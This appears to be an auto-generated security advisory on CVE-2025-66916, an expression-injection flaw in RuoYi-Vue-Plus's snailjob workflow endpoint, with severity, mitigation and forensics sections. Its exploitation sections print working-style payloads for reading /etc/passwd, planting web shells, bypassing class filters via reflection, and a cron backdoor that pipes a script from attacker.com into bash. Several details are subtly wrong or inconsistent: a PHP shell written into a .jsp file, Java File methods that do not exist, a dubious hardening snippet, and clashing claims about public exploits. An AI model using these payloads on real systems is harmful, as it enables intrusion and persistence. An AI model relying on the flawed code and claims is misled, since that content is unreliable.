Description
The snailjob component in RuoYi-Vue-Plus versions 5.5.1 and earlier, interface /snail-job/workflow/check-node-expression can execute QLExpress expressions, but it does not filter user input, allowing attackers to use the File class to perform arbitrary file reading and writing.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-1432 (CVE-2025-66916)
Vulnerability in RuoYi-Vue-Plus snailjob Component – Arbitrary File Read/Write via QLExpress Injection
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2026-1432 (CVE-2025-66916) is a critical remote code execution (RCE) vulnerability in the snailjob component of RuoYi-Vue-Plus, a popular Java-based enterprise management framework. The flaw stems from improper input validation in the /snail-job/workflow/check-node-expression endpoint, which processes QLExpress (Alibaba’s lightweight expression engine) without sanitizing user-controlled input.
An attacker can inject malicious QLExpress expressions to execute arbitrary Java code, enabling:
- Arbitrary file read/write (via
java.io.Fileclass manipulation) - Potential remote command execution (if additional dangerous classes are accessible)
- Privilege escalation (if the application runs with elevated permissions)
CVSS 3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| AV (Attack Vector) | Network (N) | Exploitable remotely over HTTP. |
| AC (Attack Complexity) | Low (L) | No special conditions required; straightforward exploitation. |
| PR (Privileges Required) | None (N) | No authentication needed. |
| UI (User Interaction) | None (N) | No user interaction required. |
| S (Scope) | Unchanged (U) | Impact confined to the vulnerable component. |
| C (Confidentiality) | High (H) | Attacker can read sensitive files (e.g., /etc/passwd, config files). |
| I (Integrity) | High (H) | Attacker can write/modify files (e.g., web shells, config poisoning). |
| A (Availability) | Low (L) | Limited DoS potential (e.g., filling disk space). |
| Base Score | 9.4 (Critical) | High impact, easily exploitable, no authentication required. |
Risk Classification
- Critical (CVSS 9.4) – Immediate patching is mandatory due to:
- Unauthenticated RCE potential.
- Low attack complexity (public PoCs likely to emerge).
- High impact on confidentiality and integrity.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Prerequisites
- Target System: RuoYi-Vue-Plus ≤ 5.5.1 with
snailjobenabled. - Network Access: HTTP(S) access to the vulnerable endpoint.
- No Authentication: Exploitable by unauthenticated attackers.
Exploitation Steps
Step 1: Identify Vulnerable Endpoint
The attacker sends a GET/POST request to:
http://<target>/snail-job/workflow/check-node-expression?expression=<malicious_QLExpress>
Step 2: Craft Malicious QLExpress Payload
The vulnerability allows direct Java class invocation via QLExpress. Example payloads:
1. Arbitrary File Read
new java.io.File("/etc/passwd").readLines()
- Impact: Retrieves sensitive system files (e.g.,
/etc/shadow, database configs).
2. Arbitrary File Write
new java.io.File("/var/www/html/shell.jsp").write("<?php system($_GET['cmd']); ?>")
- Impact: Writes a web shell for persistent access.
3. Remote Command Execution (if Runtime is accessible)
Runtime.getRuntime().exec("id")
- Note: QLExpress restricts some dangerous classes by default, but misconfigurations may allow bypass.
Step 3: Exfiltrate Data or Establish Persistence
- File Read: Attacker retrieves sensitive data (e.g., credentials, API keys).
- File Write: Attacker deploys a backdoor (e.g., JSP/PHP web shell).
- Command Execution: If
Runtimeis accessible, full system compromise is possible.
Proof-of-Concept (PoC) Analysis
The referenced GitHub Gist demonstrates:
- File read via
new java.io.File("/etc/passwd").readLines(). - File write via
new java.io.File("/tmp/pwned").write("exploited"). - Potential RCE if
RuntimeorProcessBuilderis accessible.
Example Exploit Request:
GET /snail-job/workflow/check-node-expression?expression=new%20java.io.File(%22/etc/passwd%22).readLines() HTTP/1.1
Host: vulnerable-server.com
3. Affected Systems & Software Versions
Vulnerable Software
| Product | Vendor | Affected Versions | Fixed Versions |
|---|---|---|---|
| RuoYi-Vue-Plus | Dromara | ≤ 5.5.1 | 5.5.2+ (or apply patch) |
Component Details
snailjob: A workflow engine integrated into RuoYi-Vue-Plus for task scheduling.- Vulnerable Endpoint:
/snail-job/workflow/check-node-expression - Root Cause: Lack of input sanitization in QLExpress processing.
Deployment Context
- Common Use Cases:
- Enterprise resource planning (ERP) systems.
- Internal management portals.
- Government and healthcare applications (common in EU deployments).
- Exposure Risks:
- Publicly accessible instances (misconfigured firewalls).
- Internal networks (lateral movement post-exploitation).
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
-
Apply Vendor Patch
- Upgrade to RuoYi-Vue-Plus 5.5.2+ (or latest version).
- If patching is delayed, disable
snailjobor restrict access via WAF.
-
Network-Level Protections
- Firewall Rules: Block external access to
/snail-job/*endpoints. - WAF Rules: Deploy ModSecurity or Cloudflare WAF to block QLExpress injection patterns (e.g.,
new java.io.File,Runtime.getRuntime).
- Firewall Rules: Block external access to
-
Input Validation & Sanitization
- Whitelist Safe QLExpress Functions: Restrict allowed classes/methods.
- Disable Dangerous Classes: Configure QLExpress to block
java.io.File,Runtime,ProcessBuilder.
-
Least Privilege Principle
- Run the application with minimal OS permissions (e.g., non-root user).
- Restrict file system access (e.g.,
chrootor containerization).
Long-Term Remediation (Strategic)
-
Code Review & Secure Development
- Audit all expression evaluation components (e.g., SpEL, OGNL, QLExpress).
- Implement static analysis tools (e.g., SonarQube, Checkmarx) to detect unsafe input handling.
-
Runtime Application Self-Protection (RASP)
- Deploy RASP solutions (e.g., Contrast Security, Hdiv) to block malicious QLExpress execution.
-
Zero Trust Architecture
- Enforce strict authentication (e.g., OAuth2, MFA) for sensitive endpoints.
- Implement micro-segmentation to limit lateral movement.
-
Threat Intelligence & Monitoring
- SIEM Integration: Monitor for unusual
/snail-jobrequests (e.g.,java.io.Filein logs). - File Integrity Monitoring (FIM): Detect unauthorized file modifications.
- SIEM Integration: Monitor for unusual
5. Impact on European Cybersecurity Landscape
Sector-Specific Risks
| Sector | Potential Impact | Mitigation Considerations |
|---|---|---|
| Government | Unauthorized access to sensitive documents, citizen data leaks. | Mandatory patching, strict access controls. |
| Healthcare (GDPR) | Patient data exposure, HIPAA/GDPR violations. | Encryption, audit logging, rapid incident response. |
| Financial Services | Theft of financial records, fraud, regulatory penalties. | Multi-layered security, fraud detection systems. |
| Critical Infrastructure | Disruption of industrial control systems (ICS). | Air-gapped networks, ICS-specific protections. |
Regulatory & Compliance Implications
- GDPR (EU 2016/679): Unauthorized data access may trigger Article 33 (Data Breach Notification) and fines up to 4% of global revenue.
- NIS2 Directive: Critical infrastructure operators must report incidents within 24 hours.
- DORA (Digital Operational Resilience Act): Financial entities must ensure third-party risk management (RuoYi-Vue-Plus may be a supply chain risk).
Threat Actor Interest
- Opportunistic Attackers: Likely to exploit via automated scanners (e.g., Nuclei, Shodan).
- APT Groups: May leverage the flaw for espionage (e.g., targeting EU government agencies).
- Ransomware Operators: Could use file write access to deploy ransomware or exfiltrate data.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Code Path:
// RuoYi-Vue-Plus snailjob component @GetMapping("/workflow/check-node-expression") public R<?> checkNodeExpression(String expression) { return R.ok(QLExpressUtil.execute(expression)); // UNSANITIZED INPUT } - QLExpress Misconfiguration:
- By default, QLExpress allows arbitrary Java class instantiation.
- No sandboxing or class whitelisting is enforced.
Exploitation Techniques
Bypassing QLExpress Restrictions
If java.io.File is blocked, attackers may:
- Use Reflection:
Class.forName("java.io.File").getConstructor(String.class).newInstance("/etc/passwd").readLines() - Leverage Alternative Classes:
java.nio.file.Files(if accessible).org.apache.commons.io.FileUtils(if present).
Post-Exploitation Persistence
- Web Shell Deployment:
new java.io.File("/var/www/html/shell.jsp").write("<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>") - Cron Job Persistence:
new java.io.File("/etc/cron.d/backdoor").write("* * * * * root curl http://attacker.com/shell | bash")
Detection & Forensics
Indicators of Compromise (IoCs)
| IoC Type | Example |
|---|---|
| Network | HTTP requests to /snail-job/workflow/check-node-expression with java.io.File in payload. |
| File System | Unexpected .jsp, .php, or .sh files in web directories. |
| Logs | QLExpress errors in application logs (e.g., java.lang.SecurityException). |
Forensic Analysis
- Log Review:
- Check access logs for
/snail-jobrequests. - Look for QLExpress syntax in query parameters.
- Check access logs for
- File Integrity Checks:
- Compare file hashes against known-good baselines.
- Check for unauthorized file modifications (e.g.,
/etc/passwd).
- Memory Forensics:
- Use Volatility or Rekall to detect in-memory exploitation.
Advanced Mitigation: QLExpress Hardening
To secure QLExpress, modify the configuration:
ExpressRunner runner = new ExpressRunner();
runner.addOperatorWithAlias("new", "new", null); // Disable 'new' operator
runner.addFunctionOfClassMethod("readFile", File.class.getName(), "readLines", new String[]{"String"}, null);
runner.addWhiteList("java.lang.String"); // Whitelist only safe classes
Conclusion & Recommendations
Key Takeaways
- Critical Severity (CVSS 9.4): Immediate action is required due to unauthenticated RCE risk.
- Exploitation is Trivial: Public PoCs exist, and attacks can be automated.
- High Impact on EU Organizations: GDPR, NIS2, and DORA compliance risks.
Action Plan for Security Teams
- Patch Immediately: Upgrade to RuoYi-Vue-Plus 5.5.2+.
- Isolate Vulnerable Systems: Restrict network access to
/snail-job. - Deploy WAF Rules: Block QLExpress injection attempts.
- Monitor for Exploitation: Set up SIEM alerts for suspicious
/snail-jobactivity. - Conduct Forensic Analysis: Check for signs of compromise if the system was exposed.
Long-Term Security Improvements
- Adopt Secure Coding Practices: Audit all expression evaluation components.
- Implement Zero Trust: Enforce strict authentication and micro-segmentation.
- Enhance Threat Detection: Deploy RASP and EDR solutions.
Final Note: Given the high exploitability and severe impact, this vulnerability should be treated as a top priority for all organizations using RuoYi-Vue-Plus in the EU. Failure to mitigate may result in data breaches, regulatory fines, and reputational damage.